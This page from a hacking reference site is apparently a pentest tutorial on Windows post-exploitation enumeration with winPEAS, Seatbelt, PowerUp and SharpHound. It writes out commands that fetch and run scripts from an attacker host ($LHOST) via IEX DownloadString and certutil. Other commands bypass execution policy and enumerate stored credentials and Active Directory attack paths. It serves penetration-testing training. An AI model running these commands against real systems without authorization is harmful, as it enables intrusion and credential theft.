# Windows Post-Exploitation Enumeration Tools

> Covers key Windows post-exploitation enumeration techniques using tools like WinPEAS, PowerView, and BloodHound to identify privilege escalation paths and lateral movement opportunities.

- **URL:** https://hackindex.io/platforms/windows/post-exploitation/windows-post-exploitation-enumeration-tools
- **Path:** Windows > Post-Exploitation
- **Up:** [Post-Exploitation](https://hackindex.io/platforms/windows/post-exploitation.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

Once you have a shell on a Windows target, automated enumeration tools give you the fastest overview of what's available for credential extraction, further privilege escalation, and lateral movement prep. Run these before going manual: they surface paths you would otherwise spend hours finding by hand.

## Getting tools onto the target

Most Windows targets in internal networks have no direct internet access. Serve tools from your attack box and pull them down with whatever is available on the target.

**Serve files from attack box**

```bash
# Python HTTP server
python3 -m http.server 8080

# SMB share (no auth required: for targets that block HTTP)
impacket-smbserver share . -smb2support
```

**Pull files from target**

```powershell
# PowerShell download
IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/winpeas.ps1')

# Download to disk
(New-Object Net.WebClient).DownloadFile('http://$LHOST:8080/winPEASx64.exe', 'C:\Windows\Temp\wp.exe')

# certutil (works on all Windows versions)
certutil -urlcache -split -f http://$LHOST:8080/winPEASx64.exe C:\Windows\Temp\wp.exe

# Copy from SMB share directly
copy \\$LHOST\share\winPEASx64.exe C:\Windows\Temp\wp.exe
```

## winPEAS (recommended)

The most complete Windows enumeration script available. Covers credentials, services, registry misconfigurations, scheduled tasks, network information, tokens, and more in a single run. Start here on every engagement.

Two versions exist: the executable (`winPEASx64.exe` / `winPEASx86.exe`) and a PowerShell script (`winPeas.ps1`). The executable gives coloured output and is more complete. Use the PowerShell version when execution policy or AV blocks the binary.

**Run winPEAS executable**

```powershell
# Full run: save output for review
C:\Windows\Temp\wp.exe | Out-File C:\Windows\Temp\wp_out.txt

# Run and show in terminal
C:\Windows\Temp\wp.exe

# Run specific category only (faster)
C:\Windows\Temp\wp.exe systeminfo
C:\Windows\Temp\wp.exe windowscreds
C:\Windows\Temp\wp.exe servicesinfo
```

**Run winPEAS PowerShell version**

```powershell
# Bypass execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process -Force

# Load and run from disk
. .\winPeas.ps1

# Or load and run from memory (if internet access available)
IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/winPeas.ps1')
```

**Interpreting winPEAS output:**

- Red/yellow highlighted lines are critical. These are the findings to act on first.
- Focus on: stored credentials, `SeImpersonatePrivilege`, unquoted service paths, writable service binaries, AlwaysInstallElevated registry keys, autologon credentials, and scheduled tasks running as SYSTEM.
- Ignore informational output (blue/cyan) unless you have exhausted all red findings.

> [!NOTE]
> winPEAS enumerates only. It does not exploit. Allowed on OSCP and most certification exams.

## Seatbelt

A C# enumeration tool from GhostPack that runs targeted security checks. More surgical than winPEAS: useful when you already know what to look for or want clean structured output without the noise.

**Run Seatbelt**

```powershell
# Full run: all checks
C:\Windows\Temp\Seatbelt.exe -group=all

# Specific groups relevant to post-exploitation
C:\Windows\Temp\Seatbelt.exe -group=user
C:\Windows\Temp\Seatbelt.exe -group=system
C:\Windows\Temp\Seatbelt.exe -group=misc

# Specific checks
C:\Windows\Temp\Seatbelt.exe CredEnum
C:\Windows\Temp\Seatbelt.exe WindowsCredentialFiles
C:\Windows\Temp\Seatbelt.exe TokenPrivileges
C:\Windows\Temp\Seatbelt.exe PowerShellHistory

# Save output
C:\Windows\Temp\Seatbelt.exe -group=all > C:\Windows\Temp\seatbelt_out.txt
```

Key Seatbelt checks for post-exploitation: `CredEnum` (stored credentials), `WindowsCredentialFiles` (credential manager files), `TokenPrivileges` (dangerous token privileges), `PowerShellHistory` (commands with passwords), `InterestingProcesses` (AV, EDR processes running), and `SavedRDPConnections` (RDP targets previously accessed).

## PowerUp

PowerShell script focused entirely on privilege escalation vectors. Useful for a quick targeted pass when you only care about privesc paths rather than full post-ex enumeration.

**Run PowerUp**

```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force
Import-Module .\PowerUp.ps1

# Run all checks
Invoke-AllChecks

# Specific checks
Get-UnquotedService
Get-ModifiableServiceFile
Get-ModifiableService
Get-RegistryAlwaysInstallElevated
Get-RegistryAutoLogon
```

> [!WARNING]
> PowerUp's `Invoke-ServiceAbuse` and other exploitation functions perform automatic exploitation.

## SharpHound (Active Directory environments)

If the target is domain-joined, SharpHound collects AD relationship data and feeds BloodHound for attack path analysis. Run this as soon as you have a foothold in a domain environment: it maps every privilege delegation, group membership, and trust path in the domain.

**Run SharpHound**

```powershell
# Full collection
C:\Windows\Temp\SharpHound.exe -c All

# Stealth collection: fewer queries, slower
C:\Windows\Temp\SharpHound.exe -c All --stealth

# Collect and output to specific path
C:\Windows\Temp\SharpHound.exe -c All --outputdirectory C:\Windows\Temp\bh

# PowerShell version (no binary needed)
IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All
```

SharpHound outputs a ZIP file. Transfer it to your attack box and load it into BloodHound. Use the pre-built queries: **Shortest Paths to Domain Admins** and **Find Principals with DCSync Rights** first.

For the full credential harvesting and token collection workflow see [Windows Token and Credential Harvesting](https://hackindex.io/platforms/windows/post-exploitation/windows-token-and-credential-harvesting). For privilege escalation paths found during enumeration see [Windows Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation).

## References

- [winPEAS Releases: PEASS-ng GitHub](https://github.com/carlospolop/PEASS-ng/releases) - Latest winPEAS binaries and PowerShell script
- [Seatbelt: GhostPack GitHub](https://github.com/GhostPack/Seatbelt) - C# security enumeration tool, full check list in README
- [PowerUp: PowerSploit GitHub](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc) - PowerShell privilege escalation enumeration and exploitation
- [SharpHound: BloodHoundAD GitHub](https://github.com/BloodHoundAD/SharpHound) - Active Directory data collector for BloodHound